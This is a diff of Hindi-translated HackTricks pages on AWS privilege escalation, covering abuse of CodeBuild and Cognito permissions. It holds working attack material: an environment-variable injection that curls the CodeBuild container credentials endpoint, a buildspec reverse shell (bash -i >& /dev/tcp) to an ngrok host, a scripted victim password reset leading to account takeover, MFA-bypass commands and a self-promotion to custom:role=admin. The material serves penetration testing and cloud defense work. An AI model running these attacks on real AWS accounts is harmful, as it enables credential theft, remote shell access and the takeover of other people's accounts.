- `PYTHONWARNINGS`: Python *category* फ़ील्ड को resolve करता है और डॉट-नोटेशन वाले paths को import करेगा। इसे `...:antigravity.x:...` पर सेट करने से stdlib मॉड्यूल `antigravity` को import करने के लिए मजबूर किया जाता है।
|
||||
- `antigravity`: यह `webbrowser.open(...)` को कॉल करता है।
|
||||
- `BROWSER`: यह नियंत्रित करता है कि `webbrowser` क्या execute करे। Linux पर यह `:`-सेपरेटेड होता है। `#%s` का उपयोग करने से URL argument एक shell comment बन जाता है।
|
||||
|
||||
इसे उपयोग करके CodeBuild role credentials (from `http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`) को CloudWatch logs में प्रिंट किया जा सकता है, और फिर अगर आपके पास log read permissions हैं तो उन्हें रीकवर किया जा सकता है।
|
||||
|
||||
<details>
|
||||
<summary>विस्तार योग्य: StartBuild JSON request for the <code>PYTHONWARNINGS</code> + <code>BROWSER</code> trick</summary>
|
||||
```json
|
||||
{
|
||||
"projectName": "codebuild_lab_7_project",
|
||||
"environmentVariablesOverride": [
|
||||
{
|
||||
"name": "PYTHONWARNINGS",
|
||||
"value": "all:0:antigravity.x:0:0",
|
||||
"type": "PLAINTEXT"
|
||||
},
|
||||
{
|
||||
"name": "BROWSER",
|
||||
"value": "/bin/sh -c 'echo CREDS_START; URL=$(printf \"http\\\\072//169.254.170.2%s\" \"$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"); curl -s \"$URL\"; echo CREDS_END' #%s",
|
||||
"type": "PLAINTEXT"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
यदि किसी हमलावर के पास **`iam:PassRole`, `codebuild:CreateProject`, और `codebuild:StartBuild` या `codebuild:StartBuildBatch`** permissions हों, तो वह एक running codebuild बनाकर किसी भी codebuild IAM role के privileges को escalate कर सकेगा।
|
||||
यदि किसी हमलावर के पास **`iam:PassRole`, `codebuild:CreateProject`, and `codebuild:StartBuild` or `codebuild:StartBuildBatch`** अनुमतियाँ हों, तो वह एक चल रहा प्रोजेक्ट बनाकर **escalate privileges to any codebuild IAM role** कर सकेगा।
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Example1" }}
|
||||
```bash
|
||||
# Enumerate then env and get creds
|
||||
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
||||
@@ -168,20 +234,20 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** किसी भी AWS Codebuild role पर सीधा privesc।
|
||||
**संभावित प्रभाव:** किसी भी AWS Codebuild role पर प्रत्यक्ष privesc।
|
||||
|
||||
> [!WARNING]
|
||||
> एक **Codebuild container** में फ़ाइल `/codebuild/output/tmp/env.sh` में सभी env vars होते हैं जो **metadata credentials** को एक्सेस करने के लिए आवश्यक हैं।
|
||||
> किसी **Codebuild container** में फ़ाइल `/codebuild/output/tmp/env.sh` में वे सभी env vars होते हैं जो **metadata credentials** को एक्सेस करने के लिए ज़रूरी हैं।
|
||||
|
||||
> यह फ़ाइल **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** रखती है जो credentials को एक्सेस करने के लिए **URL path** को रखती है। यह कुछ इस तरह होगा `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
|
||||
> इस फ़ाइल में **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** होता है जिसमें क्रेडेंशियल्स तक पहुँचने के लिए **URL path** होता है। यह कुछ इस तरह होगा `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
|
||||
|
||||
> उस को URL **`http://169.254.170.2/`** में जोड़ें और आप role credentials को dump कर पाएँगे।
|
||||
> उसे URL **`http://169.254.170.2/`** के साथ जोड़ें और आप role credentials को dump कर पाएँगे।
|
||||
|
||||
> इसके अलावा, इसमें **env variable `ECS_CONTAINER_METADATA_URI`** भी होता है जो container के बारे में **metadata info** प्राप्त करने के लिए पूरा URL देता है।
|
||||
> इसके अलावा, इसमें **env variable `ECS_CONTAINER_METADATA_URI`** भी होता है जो container के बारे में पूरी जानकारी पाने के लिए complete URL रखता है — यानी **metadata info about the container**।
|
||||
|
||||
### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
पिछले अनुभाग की तरह, अगर आप build project बनाने के बजाय उसे modify कर सकते हैं, तो आप IAM Role निर्दिष्ट कर सकते हैं और token चुरा सकते हैं।
|
||||
जैसा कि पिछले सेक्शन में था, यदि build project बनाने के बजाय आप उसे संशोधित कर सकते हैं, तो आप IAM Role निर्दिष्ट कर सकते हैं और token चुरा सकते हैं।
|
||||
```bash
|
||||
REV_PATH="/tmp/codebuild_pwn.json"
|
||||
|
||||
@@ -215,11 +281,11 @@ aws codebuild update-project --name codebuild-demo-project --cli-input-json file
|
||||
|
||||
aws codebuild start-build --project-name codebuild-demo-project
|
||||
```
|
||||
**संभावित प्रभाव:** सीधा privesc किसी भी AWS Codebuild role पर।
|
||||
**संभावित प्रभाव:** किसी भी AWS Codebuild role पर सीधे privesc।
|
||||
|
||||
### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
पिछले सेक्शन की तरह लेकिन **बिना `iam:PassRole` अनुमति के**, आप इन अनुमतियों का दुरुपयोग करके **मौजूदा Codebuild प्रोजेक्ट्स को संशोधित कर सकते हैं और उन roles तक पहुँच सकते हैं जो पहले से उन्हें असाइन किए गए हैं**।
|
||||
पिछले सेक्शन की तरह, लेकिन **`iam:PassRole` permission के बिना**, आप इन permissions का दुरुपयोग करके **मौजूदा Codebuild projects को संशोधित कर सकते हैं और उन पर पहले से असाइन किए गए role तक पहुँच सकते हैं**।
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="StartBuild" }}
|
||||
@@ -295,11 +361,11 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**संभावित प्रभाव:** attached AWS Codebuild roles पर direct privesc.
|
||||
**संभावित प्रभाव:** संलग्न AWS Codebuild roles पर सीधा privesc।
|
||||
|
||||
### SSM
|
||||
|
||||
यदि आपके पास **enough permissions to start a ssm session** हैं, तो निर्माण के दौरान किसी **Codebuild project** के अंदर जाना संभव है।
|
||||
यदि आपके पास **enough permissions to start a ssm session** हैं, तो बन रहे **inside a Codebuild project** में पहुँच जाना संभव है।
|
||||
|
||||
The codebuild project will need to have a breakpoint:
|
||||
|
||||
@@ -320,9 +386,9 @@ aws ssm start-session --target <sessionTarget> --region <region>
|
||||
|
||||
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
|
||||
|
||||
एक attacker जो किसी विशेष CodeBuild प्रोजेक्ट का build start/restart करने में सक्षम है और वह प्रोजेक्ट अपना `buildspec.yml` फ़ाइल उस S3 bucket पर स्टोर करता है जिस पर attacker के पास write access है, CodeBuild प्रक्रिया में command execution प्राप्त कर सकता है।
|
||||
यदि कोई attacker किसी विशेष CodeBuild प्रोजेक्ट की build को start/restart करने में सक्षम हो — और वह प्रोजेक्ट अपना `buildspec.yml` फ़ाइल उस S3 bucket पर स्टोर करता हो जिस पर attacker के पास write access है — तो attacker CodeBuild process में command execution प्राप्त कर सकता है।
|
||||
|
||||
नोट: यह escalation केवल तभी प्रासंगिक है जब CodeBuild worker की role attacker की role से अलग हो, और उम्मीद है कि वह अधिक privileged हो।
|
||||
Note: यह escalation केवल तब प्रासंगिक है जब CodeBuild worker का role attacker की role से भिन्न हो, और उम्मीद है कि वह अधिक privileged हो।
|
||||
```bash
|
||||
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
|
||||
|
||||
@@ -339,7 +405,7 @@ aws codebuild start-build --project-name <project-name>
|
||||
|
||||
# Wait for the reverse shell :)
|
||||
```
|
||||
आप कुछ इस तरह का **buildspec** उपयोग कर सकते हैं ताकि एक **reverse shell** मिल सके:
|
||||
आप इस तरह का **buildspec** उपयोग करके **reverse shell** प्राप्त कर सकते हैं:
|
||||
```yaml:buildspec.yml
|
||||
version: 0.2
|
||||
|
||||
@@ -348,13 +414,13 @@ build:
|
||||
commands:
|
||||
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
|
||||
```
|
||||
**Impact:** AWS CodeBuild worker द्वारा उपयोग किए गए role पर Direct privesc, जो आमतौर पर उच्च privileges रखता है।
|
||||
**Impact:** AWS CodeBuild worker द्वारा उपयोग किए जाने वाले role में सीधे privesc, जो आमतौर पर उच्च privileges रखता है।
|
||||
|
||||
> [!WARNING]
|
||||
> ध्यान दें कि buildspec आमतौर पर zip format में अपेक्षित हो सकता है, इसलिए एक attacker को root directory से `buildspec.yml` डाउनलोड, unzip, modify करके फिर से zip कर के upload करना होगा
|
||||
> ध्यान दें कि buildspec zip फॉर्मेट में हो सकता है, इसलिए एक attacker को download, unzip, modify the `buildspec.yml` from the root directory, zip again and upload करने की आवश्यकता होगी
|
||||
|
||||
अधिक विवरण [यहाँ](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) मिल सकते हैं।
|
||||
अधिक जानकारी [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) मिल सकती है।
|
||||
|
||||
**Potential Impact:** संलग्न AWS Codebuild roles पर Direct privesc।
|
||||
**Potential Impact:** संलग्न AWS Codebuild roles में सीधे privesc।
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+95
-47
@@ -10,13 +10,13 @@ Cognito के बारे में अधिक जानकारी के
|
||||
../../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Identity Pool से credentials एकत्र करना
|
||||
### Gathering credentials from Identity Pool
|
||||
|
||||
क्योंकि Cognito दोनों **authenticated** और **unauthenticated** **users** को **IAM role credentials** दे सकता है, अगर आप किसी application का **Identity Pool ID** (जो आमतौर पर उसमे hardcoded होता है) ढूंढ लें तो आप नए credentials प्राप्त कर सकते हैं और इस तरह privesc हासिल कर सकते हैं (एक ऐसे AWS खाते के अंदर जहाँ शायद आपके पास पहले कोई credential भी नहीं था)।
|
||||
क्योंकि Cognito दोनों **authenticated** और **unauthenticated** **users** को **IAM role credentials** दे सकता है, यदि आप किसी एप्लिकेशन का **Identity Pool ID** (जो आमतौर पर उसमें हार्डकोडेड होता है) खोज लेते हैं, तो आप नए credentials प्राप्त कर सकते हैं और इसलिए privesc कर सकते हैं (एक AWS खाते के अंदर जहां आपके पास शायद पहले कोई credential भी नहीं था)।
|
||||
|
||||
अधिक जानकारी के लिए [**यह पेज देखें**](../../aws-unauthenticated-enum-access/index.html#cognito).
|
||||
अधिक जानकारी के लिए [**check this page**](../../aws-unauthenticated-enum-access/index.html#cognito).
|
||||
|
||||
**Potential Impact:** unauth users से जुड़े services role पर सीधे privesc (और सम्भतः auth users से जुड़े role पर भी)।
|
||||
**Potential Impact:** unauth users से जुड़े service role पर direct privesc (और संभवतः auth users से जुड़े role पर भी)।
|
||||
|
||||
### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
|
||||
|
||||
@@ -32,13 +32,13 @@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90
|
||||
## Get creds for that id
|
||||
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
|
||||
```
|
||||
यदि cognito app पर **unauthenticated users सक्षम नहीं हैं** तो इसे सक्षम करने के लिए आपको `cognito-identity:UpdateIdentityPool` अनुमति की भी आवश्यकता हो सकती है।
|
||||
If the cognito app **doesn't have unauthenticated users enabled** you might need also the permission `cognito-identity:UpdateIdentityPool` to enable it.
|
||||
|
||||
**संभावित प्रभाव:** किसी भी cognito role पर सीधा privesc।
|
||||
**Potential Impact:** किसी भी cognito role पर direct privesc।
|
||||
|
||||
### `cognito-identity:update-identity-pool`
|
||||
|
||||
इस अनुमति वाला एक attacker उदाहरण के लिए अपने नियंत्रण में एक Cognito User Pool या किसी अन्य identity provider सेट कर सकता है जहाँ वह लॉगिन कर सके — यह **इस Cognito Identity Pool तक पहुँचने का एक तरीका** बन सकता है। फिर, बस उस user provider में **login** करने से **उसे Identity Pool में कॉन्फ़िगर किया गया authenticated role एक्सेस करने की अनुमति मिल जाएगी**।
|
||||
इस अनुमति वाला एक attacker उदाहरण के लिए अपने नियंत्रण में एक Cognito User Pool या किसी अन्य identity provider को सेट कर सकता है जहाँ वह login कर सके — और यह **Cognito Identity Pool तक पहुँचने का एक तरीका** बन जाएगा। फिर, बस उस user provider में **login** करने भर से उसे Identity Pool में configured authenticated role तक पहुँचने की अनुमति मिल जाएगी।
|
||||
```bash
|
||||
# This example is using a Cognito User Pool as identity provider
|
||||
## but you could use any other identity provider
|
||||
@@ -61,7 +61,7 @@ aws cognito-identity get-credentials-for-identity \
|
||||
--identity-id <identity_id> \
|
||||
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
|
||||
```
|
||||
यह भी संभव है कि आप **इस अनुमति का दुरुपयोग करके basic auth की अनुमति दे सकें**:
|
||||
यह भी संभव है कि **इस अनुमति का दुरुपयोग करके basic auth की अनुमति दी जा सके**:
|
||||
```bash
|
||||
aws cognito-identity update-identity-pool \
|
||||
--identity-pool-id <value> \
|
||||
@@ -69,11 +69,11 @@ aws cognito-identity update-identity-pool \
|
||||
--allow-unauthenticated-identities
|
||||
--allow-classic-flow
|
||||
```
|
||||
**Potential Impact**: identity pool के अंदर configured authenticated IAM role का समझौता होना।
|
||||
**संभावित प्रभाव**: identity pool के अंदर कॉन्फ़िगर किए गए authenticated IAM role का Compromise।
|
||||
|
||||
### `cognito-idp:AdminAddUserToGroup`
|
||||
|
||||
यह अनुमति **add a Cognito user to a Cognito group** करने की अनुमति देती है, इसलिए एक हमलावर इस अनुमति का दुरुपयोग करके अपने नियंत्रण में एक उपयोगकर्ता को अन्य समूहों में जोड़ सकता है जिनके पास **better** privileges या **different IAM roles** हों:
|
||||
यह permission **Cognito user को Cognito group में add करने** की अनुमति देता है, इसलिए एक attacker इस permission का दुरुपयोग करके अपने नियंत्रण वाले user को बेहतर privileges या अलग IAM roles वाले अन्य groups में जोड़ सकता है:
|
||||
```bash
|
||||
aws cognito-idp admin-add-user-to-group \
|
||||
--user-pool-id <value> \
|
||||
@@ -84,7 +84,7 @@ aws cognito-idp admin-add-user-to-group \
|
||||
|
||||
### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
|
||||
|
||||
इन permissions वाले attacker **create/update groups** कर सकता है जिनमें **every IAM role that can be used by a compromised Cognito Identity Provider** शामिल हों, और compromised user को उस group का सदस्य बना सकता है, जिससे वह उन सभी roles तक access प्राप्त कर सके:
|
||||
इन permissions वाले attacker **create/update groups** कर सकता है जिनमें **every IAM role that can be used by a compromised Cognito Identity Provider** शामिल हों और compromised user को उस group का हिस्सा बना कर उन सभी roles तक access कर सकता है:
|
||||
```bash
|
||||
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
|
||||
```
|
||||
@@ -92,17 +92,17 @@ aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> -
|
||||
|
||||
### `cognito-idp:AdminConfirmSignUp`
|
||||
|
||||
यह अनुमति किसी **साइनअप को सत्यापित करने** की अनुमति देती है। डिफ़ॉल्ट रूप से कोई भी Cognito applications में साइन इन कर सकता है; यदि यह वैसा ही छोड़ दिया गया हो, तो एक उपयोगकर्ता किसी भी जानकारी के साथ एक खाता बना सकता है और इस अनुमति का उपयोग करके उसे सत्यापित कर सकता है।
|
||||
यह अनुमति देती है कि **एक साइनअप को सत्यापित किया जाए**। डिफ़ॉल्ट रूप से कोई भी Cognito applications में साइन इन कर सकता है; यदि यह छोड़ दिया गया है, तो कोई उपयोगकर्ता किसी भी डेटा के साथ एक खाता बना सकता है और इस अनुमति का उपयोग करके उसे सत्यापित कर सकता है।
|
||||
```bash
|
||||
aws cognito-idp admin-confirm-sign-up \
|
||||
--user-pool-id <value> \
|
||||
--username <value>
|
||||
```
|
||||
**Potential Impact:** यदि आप एक नया user रजिस्टर कर सकते हैं तो authenticated users के लिए identity pool IAM role तक indirect privesc हो सकता है। किसी भी account की पुष्टि (confirm) करने में सक्षम होने से अन्य app functionalities पर भी indirect privesc हो सकता है।
|
||||
**Potential Impact:** यदि आप एक नया उपयोगकर्ता पंजीकृत कर सकते हैं तो प्रमाणीकृत उपयोगकर्ताओं के लिए identity pool IAM role तक अप्रत्यक्ष privesc। किसी भी खाते की पुष्टि करने में सक्षम होने से अन्य ऐप कार्यक्षमताओं पर भी अप्रत्यक्ष privesc।
|
||||
|
||||
### `cognito-idp:AdminCreateUser`
|
||||
|
||||
यह permission हमलावर को user pool के अंदर एक नया user बनाने की अनुमति देगा। नया user enabled के रूप में बनाया जाता है, लेकिन उसे अपना password बदलना होगा।
|
||||
यह अनुमति attacker को user pool के अंदर एक नया उपयोगकर्ता बनाने की अनुमति देगी। नया उपयोगकर्ता enabled के रूप में बनाया जाता है, लेकिन उसे अपना password बदलना होगा।
|
||||
```bash
|
||||
aws cognito-idp admin-create-user \
|
||||
--user-pool-id <value> \
|
||||
@@ -111,25 +111,25 @@ aws cognito-idp admin-create-user \
|
||||
[--validation-data <value>]
|
||||
[--temporary-password <value>]
|
||||
```
|
||||
**संभावित प्रभाव:** identity pool IAM role for authenticated users पर direct privesc। अन्य app कार्यक्षमताओं में अप्रत्यक्ष privesc, जिससे किसी भी user को create करने में सक्षम होना
|
||||
**संभावित प्रभाव:** authenticated users के लिए identity pool IAM role पर direct privesc। किसी भी user को create करने में सक्षम अन्य app functionalities पर indirect privesc
|
||||
|
||||
### `cognito-idp:AdminEnableUser`
|
||||
|
||||
यह permissions एक बहुत ही edge-case परिदृश्य में मदद कर सकता है जहाँ attacker को किसी disabled user के credentials मिल गए हों और उसे **इसे फिर से सक्षम करना** आवश्यक हो।
|
||||
यह permission एक बहुत ही edge-case परिदृश्य में काम आ सकता है, जहाँ attacker ने किसी disabled user के credentials पा लिए हों और उसे **फिर से सक्षम करना** आवश्यक हो।
|
||||
```bash
|
||||
aws cognito-idp admin-enable-user \
|
||||
--user-pool-id <value> \
|
||||
--username <value>
|
||||
```
|
||||
**संभावित प्रभाव:** Indirect privesc to the identity pool IAM role for authenticated users और उपयोगकर्ता की permissions तक, यदि हमलावर के पास किसी निष्क्रिय उपयोगकर्ता के credentials हों।
|
||||
**Potential Impact:** प्रमाणीकृत उपयोगकर्ताओं के identity pool IAM role पर अप्रत्यक्ष privesc और यदि हमलावर के पास किसी निष्क्रिय उपयोगकर्ता के credentials हों तो उस उपयोगकर्ता की permissions।
|
||||
|
||||
### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
|
||||
|
||||
यह अनुमति [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)** के साथ लॉगिन करने की अनुमति देती है। अधिक जानकारी के लिए दिए गए लिंक को देखें।
|
||||
यह अनुमति [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** के साथ लॉगिन करने की अनुमति देती है। अधिक जानकारी के लिए लिंक देखें।
|
||||
|
||||
### `cognito-idp:AdminSetUserPassword`
|
||||
|
||||
यह अनुमति हमलावर को किसी भी उपयोगकर्ता का **पासवर्ड बदलने** की अनुमति देगी, जिससे वह (यदि उस उपयोगकर्ता पर MFA सक्षम नहीं है) किसी भी उपयोगकर्ता के रूप में प्रस्तुत हो सकेगा।
|
||||
यह अनुमति हमलावर को किसी भी उपयोगकर्ता के लिए **जानने योग्य पासवर्ड सेट करने** की अनुमति दे सकती है, जो आमतौर पर **सीधे खाते पर कब्जा (direct account takeover)** का परिणाम होता है (विशेष रूप से यदि पीड़ित के पास MFA सक्षम नहीं है, या संबंधित auth flow/client के लिए MFA लागू नहीं किया गया है)।
|
||||
```bash
|
||||
aws cognito-idp admin-set-user-password \
|
||||
--user-pool-id <value> \
|
||||
@@ -137,18 +137,43 @@ aws cognito-idp admin-set-user-password \
|
||||
--password <value> \
|
||||
--permanent
|
||||
```
|
||||
**Potential Impact:** किसी भी user पर संभावित direct privesc — जिससे प्रत्येक user के सदस्य सभी groups तक पहुँच और Identity Pool authenticated IAM role तक पहुँच मिल सकती है।
|
||||
सामान्य कार्यप्रवाह:
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
USER_POOL_ID="<user_pool_id>"
|
||||
VICTIM_USERNAME="<victim_username_or_email>"
|
||||
NEW_PASS='P@ssw0rd-ChangeMe-123!'
|
||||
|
||||
# 1) Set a permanent password for the victim (takeover primitive)
|
||||
aws cognito-idp admin-set-user-password \
|
||||
--region "$REGION" \
|
||||
--user-pool-id "$USER_POOL_ID" \
|
||||
--username "$VICTIM_USERNAME" \
|
||||
--password "$NEW_PASS" \
|
||||
--permanent
|
||||
|
||||
# 2) Login as the victim against a User Pool App Client (doesn't require AWS creds)
|
||||
CLIENT_ID="<user_pool_app_client_id>"
|
||||
aws cognito-idp initiate-auth \
|
||||
--no-sign-request --region "$REGION" \
|
||||
--client-id "$CLIENT_ID" \
|
||||
--auth-flow USER_PASSWORD_AUTH \
|
||||
--auth-parameters "USERNAME=$VICTIM_USERNAME,PASSWORD=$NEW_PASS"
|
||||
```
|
||||
संबंधित अनुमति: `cognito-idp:AdminResetUserPassword` का उपयोग victim के लिए एक reset flow मजबूर करने के लिए किया जा सकता है (प्रभाव इस बात पर निर्भर करता है कि password recovery कैसे लागू की गई है और attacker क्या intercept या control कर सकता है)।
|
||||
|
||||
**Potential Impact:** किसी भी उपयोगकर्ता के खाते का कब्ज़ा; ऐप-लेयर विशेषाधिकारों (groups/roles/claims) तक पहुँच और Cognito tokens पर भरोसा करने वाली किसी भी डाउनस्ट्रीम चीज़ तक पहुँच; Identity Pool authenticated IAM roles तक संभावित पहुँच।
|
||||
|
||||
### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
|
||||
|
||||
**AdminSetUserSettings**: एक attacker संभवतः इस permission का दुरुपयोग कर सकता है ताकि अपनी नियंत्रण में मोबाइल फोन को **SMS MFA of a user** के रूप में सेट कर दे।
|
||||
**AdminSetUserSettings**: attacker संभावित रूप से इस अनुमति का दुरुपयोग करके अपने नियंत्रण वाले मोबाइल फोन को किसी उपयोगकर्ता के **SMS MFA** के रूप में सेट कर सकता है।
|
||||
```bash
|
||||
aws cognito-idp admin-set-user-settings \
|
||||
--user-pool-id <value> \
|
||||
--username <value> \
|
||||
--mfa-options <value>
|
||||
```
|
||||
**SetUserMFAPreference:** पहले वाले की तरह, यह permission उपयोगकर्ता की MFA प्राथमिकताएँ सेट करके MFA सुरक्षा को bypass करने के लिए उपयोग किया जा सकता है।
|
||||
**SetUserMFAPreference:** पिछले वाले की तरह, इस अनुमति का उपयोग किसी उपयोगकर्ता की MFA प्राथमिकताएँ सेट करने के लिए किया जा सकता है ताकि MFA सुरक्षा को bypass किया जा सके।
|
||||
```bash
|
||||
aws cognito-idp admin-set-user-mfa-preference \
|
||||
[--sms-mfa-settings <value>] \
|
||||
@@ -156,7 +181,7 @@ aws cognito-idp admin-set-user-mfa-preference \
|
||||
--username <value> \
|
||||
--user-pool-id <value>
|
||||
```
|
||||
**SetUserPoolMfaConfig**: पिछले वाले की तरह, यह permission user pool की MFA preferences सेट करने के लिए इस्तेमाल की जा सकती है ताकि MFA protection को bypass किया जा सके।
|
||||
**SetUserPoolMfaConfig**: पिछले वाले की तरह, इस अनुमति का उपयोग user pool की MFA प्राथमिकताएँ सेट करने के लिए किया जा सकता है ताकि MFA सुरक्षा को bypass किया जा सके।
|
||||
```bash
|
||||
aws cognito-idp set-user-pool-mfa-config \
|
||||
--user-pool-id <value> \
|
||||
@@ -164,40 +189,63 @@ aws cognito-idp set-user-pool-mfa-config \
|
||||
[--software-token-mfa-configuration <value>] \
|
||||
[--mfa-configuration <value>]
|
||||
```
|
||||
**UpdateUserPool:** यह भी संभव है कि user pool को अपडेट करके MFA policy बदली जाए। [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
|
||||
**UpdateUserPool:** यह भी संभव है कि user pool को अपडेट करके MFA नीति बदल दी जाए। [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
|
||||
|
||||
**Potential Impact:** आक्रमणकर्ता जिन users के credentials जानता है उन किसी भी user के लिए अप्रत्यक्ष privesc संभव हो सकता है; यह MFA सुरक्षा को बायपास करने की अनुमति दे सकता है।
|
||||
**Potential Impact:** किसी भी ऐसे user के लिए अप्रत्यक्ष privesc जिसके credentials attacker के पास हों; इससे MFA सुरक्षा bypass हो सकती है।
|
||||
|
||||
### `cognito-idp:AdminUpdateUserAttributes`
|
||||
|
||||
इस permission वाले attacker अपने नियंत्रण वाले किसी user का email, phone number या कोई अन्य attribute बदलकर अंतर्निहित application में अधिक privileges प्राप्त करने की कोशिश कर सकता है.\
|
||||
यह email या phone number बदलने और उसे verified के रूप में सेट करने की अनुमति देता है.
|
||||
इस permission वाले attacker User Pool के किसी user के **कोई भी बदलने योग्य attribute** (शामिल करके `custom:*` attributes) को बदल सकता है ताकि underlying application में privileges हासिल करने की कोशिश कर सके।
|
||||
|
||||
एक सामान्य उच्च-प्रभाव पैटर्न है **claim-based RBAC** जो **custom attributes** का उपयोग करके लागू किया जाता है (उदाहरण के लिए `custom:role=admin`)। अगर application उस claim पर भरोसा करता है, तो उसे अपडेट करके और फिर re-authenticating करने से authorization को बिना app को छुए bypass किया जा सकता है।
|
||||
```bash
|
||||
aws cognito-idp admin-update-user-attributes \
|
||||
--user-pool-id <value> \
|
||||
--username <value> \
|
||||
--user-attributes <value>
|
||||
```
|
||||
**Potential Impact:** Cognito User Pool का उपयोग करने वाले अंतर्निहित एप्लिकेशन में उपयोगकर्ता गुणों के आधार पर अधिकार देने वाली संभावित अप्रत्यक्ष privesc।
|
||||
उदाहरण: upgrade your own role and refresh tokens:
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
USER_POOL_ID="<user_pool_id>"
|
||||
USERNAME="<your_username>"
|
||||
|
||||
# 1) Change the RBAC attribute (example)
|
||||
aws cognito-idp admin-update-user-attributes \
|
||||
--region "$REGION" \
|
||||
--user-pool-id "$USER_POOL_ID" \
|
||||
--username "$USERNAME" \
|
||||
--user-attributes Name="custom:role",Value="admin"
|
||||
|
||||
# 2) Re-authenticate to obtain a token with updated claims
|
||||
CLIENT_ID="<user_pool_app_client_id>"
|
||||
PASSWORD="<your_password>"
|
||||
aws cognito-idp initiate-auth \
|
||||
--no-sign-request --region "$REGION" \
|
||||
--client-id "$CLIENT_ID" \
|
||||
--auth-flow USER_PASSWORD_AUTH \
|
||||
--auth-parameters "USERNAME=$USERNAME,PASSWORD=$PASSWORD"
|
||||
```
|
||||
**Potential Impact:** ऐसे एप्लिकेशन में अप्रत्यक्ष privesc जब वे Cognito attributes/claims पर authorization के लिए भरोसा करते हैं; अन्य सुरक्षा-संबंधी attributes को बदलने की क्षमता (उदाहरण के लिए कुछ ऐप्स में `email_verified` या `phone_number_verified` को `true` सेट करना मायने रख सकता है)।
|
||||
|
||||
### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
|
||||
|
||||
इस अनुमति वाले हमलावर पहले से मौजूद pool clients की तुलना में **कम प्रतिबंधित एक नया User Pool Client बना** सकता है। उदाहरण के लिए, नया क्लाइंट किसी भी प्रकार की authenticate विधि की अनुमति दे सकता है, किसी secret की आवश्यकता न रखता हो सकता है, token revocation disabled हो सकता है, tokens को लंबी अवधि के लिए वैध रहने दिया जा सकता है...
|
||||
इस permission वाले attacker को मौजूदा pool clients की तुलना में कम प्रतिबंधित **create a new User Pool Client less restricted** करने की क्षमता मिल सकती है। उदाहरण के लिए, नया client किसी भी तरह के authenticate method की अनुमति दे सकता है, किसी secret के बिना हो सकता है, token revocation disabled हो सकता है, tokens को अधिक समय तक वैध रहने की अनुमति दे सकता है...
|
||||
|
||||
इसी तरह, अगर नया क्लाइंट बनाने की बजाय किसी **मौजूदा क्लाइंट में संशोधन किया जाए** तो भी यही संभव है।
|
||||
बिना नया client बनाए, किसी **existing one is modified** करने पर भी यही संभव है।
|
||||
|
||||
आप [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (या [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) में सभी विकल्प देख सकते हैं, जाँच करें!
|
||||
In the [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (or the [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) you can see all the options, check it!.
|
||||
```bash
|
||||
aws cognito-idp create-user-pool-client \
|
||||
--user-pool-id <value> \
|
||||
--client-name <value> \
|
||||
[...]
|
||||
```
|
||||
